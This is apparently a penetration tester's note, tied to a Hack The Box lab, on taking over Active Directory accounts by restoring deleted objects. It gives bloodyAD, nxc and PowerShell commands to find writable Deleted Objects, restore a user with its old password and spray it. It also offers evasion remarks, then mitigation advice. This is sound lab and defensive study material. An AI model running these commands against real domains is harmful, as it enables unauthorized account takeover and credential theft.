đź§  Active Directory - Deleted Object Restoration

What is it?

  • Concept: Deleting an object in Active Directory does not erase it — the object is moved into the hidden CN=Deleted Objects,DC=<domain>,DC=<tld> container with isDeleted: TRUE and (when the AD Recycle Bin feature is enabled) all of its attributes preserved, including unicodePwd/the account’s password hashes and its group memberships. Anyone holding write rights on that container — or on an individual tombstoned object — can clear the deleted state and bring the account back to life exactly as it was, password included.
  • Impact: Credential access / account takeover of a decommissioned identity. Deleted accounts are the ones nobody rotates passwords for, nobody monitors, and nobody expects to log in — so a restored account is effectively a free extra identity in the domain, frequently with group memberships that were never cleaned up.

How it works

  1. Remove-ADUser/Remove-ADObject tombstones rather than deletes: the object is stripped of most attributes and stored under CN=Deleted Objects for the tombstone lifetime (default 180 days).
  2. With the AD Recycle Bin enabled (Enable-ADOptionalFeature 'Recycle Bin Feature', default in modern forests), the object instead enters a deleted-object state that keeps every attribute — including the password hash — for the msDS-deletedObjectLifetime window.
  3. A restore is just an LDAP modify: clear isDeleted and set a new distinguishedName (i.e. move it back into a live OU). Nothing about the object’s secrets changes — the account comes back with the same password it had when it was deleted.
  4. Because the account was re-created rather than newly provisioned, its old group memberships and old ACEs come back with it, and any password-reuse across the domain still applies (Checkpoint: the restored mark.davies shared the same password as the initial alex.turner credential).

Exploitation

Prerequisites

  • Any domain credential (assumed breach) that holds write access on CN=Deleted Objects,DC=... — or on a specific object inside it. This right is not granted by default and is normally the leftover of a delegation to a helpdesk/“restore” role.
  • The AD Recycle Bin enabled if you want the password back with the account; a plain tombstone restores the object but not its secrets.

Attack Vectors

# 1. Find out whether the current identity can write into the Deleted Objects container
bloodyAD -u '<user>' -p '<pass>' -d '<domain>' --host '<dc_fqdn>' get writable
 
# 2. List what is actually in the bin (the DN carries the object GUID after the \0ADEL marker)
bloodyAD -u '<user>' -p '<pass>' -d '<domain>' --host '<dc_fqdn>' \
  get search --base 'CN=Deleted Objects,DC=<domain>,DC=<tld>' \
  --filter '(objectClass=user)' --attr 'distinguishedName,sAMAccountName,lastKnownParent'
 
# 3. Restore the object — bloodyAD's `set restore` clears isDeleted and moves it back
bloodyAD -u '<user>' -p '<pass>' -d '<domain>' --host '<dc_fqdn>' \
  set restore 'CN=<Display Name>\0ADEL:<object_guid>,CN=Deleted Objects,DC=<domain>,DC=<tld>'
 
# 4. The account is live again, with its old password — spray it / test password reuse
nxc smb '<domain>' -u '<restored_user>' -p '<known_or_reused_pass>'
# Windows-side equivalents (RSAT ActiveDirectory module)
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties *
Restore-ADObject -Identity '<object_guid>'

Notes

  • The DN of a deleted object contains a literal null byte + DEL: + the object GUID (CN=Mark Davies\0ADEL:2217e877-...). Quote it carefully — most shells and LDAP clients need the \0A escape kept verbatim as written above.
  • A restored user may come back disabled (userAccountControl keeps the disabled bit) — if authentication fails right after the restore, check userAccountControl and enable the account if you also hold write access to it.
  • Restoration is loud in the sense that it is a real directory change, but almost nowhere is it alerted on: CN=Deleted Objects is hidden from ADUC unless “Advanced Features” is turned on, so a restored account rarely draws attention.
  • This pairs naturally with password reuse: the restored account’s password is a historic password for the environment, and historic passwords in a lab/SME domain are very often the same string every other account was provisioned with.
  • Enumeration blind spot: BloodHound collectors do not collect deleted objects, so this path is invisible in the graph. If bloodhound-python fails or shows nothing useful, bloodyAD get writable is the fallback that surfaces it (this is exactly what happened on HTB Machine - Checkpoint).

Mitigation

  • Fix: Treat write access on CN=Deleted Objects as a tier-0 permission — it is a credential-access primitive, not an operational convenience. Delegate restores to a dedicated, monitored process instead, force a password reset on every restored account, and audit directory-service changes (Event ID 5136 on isDeleted) so a reanimation is visible.
FileCreated
HTB Machine - CheckpointThursday, September 3rd 2026, 9:04:16 pm

References: